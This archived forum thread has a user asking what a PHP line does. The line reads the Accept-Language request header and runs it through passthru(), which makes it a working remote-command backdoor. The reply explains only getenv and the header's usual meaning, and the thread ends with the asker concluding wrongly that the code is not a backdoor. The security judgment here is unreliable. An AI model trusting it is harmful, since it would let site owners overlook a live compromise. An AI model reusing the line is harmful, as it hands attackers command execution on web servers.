PDA

View Full Version : PHP question


MelnAdam
01-30-08, 01:56 PM
Here's one for you, what do this do?

$cmd = getenv('HTTP_ACCEPT_LANGUAGE'); if(!empty($cmd)){@passthru($cmd);};doc

any ideas?

blunt
01-30-08, 02:07 PM
getenv = Gets the value of an environment variable.

</php.net>

HTTP_ACCEPT_LANGUAGE :-

The user is sending information from their browser, and could mean any of the following things:

* language/locale to use for formatting/collation preferences
* language/locale to use for the UI
* language/locale about which to provide content
* location for which to provide information

http://blogs.msdn.com/michkap/archive/2005/08/23/455359.aspx

http://uk3.php.net/getenv

MelnAdam
01-30-08, 02:09 PM
so it's not some sort of back door then - phew

thanks blunt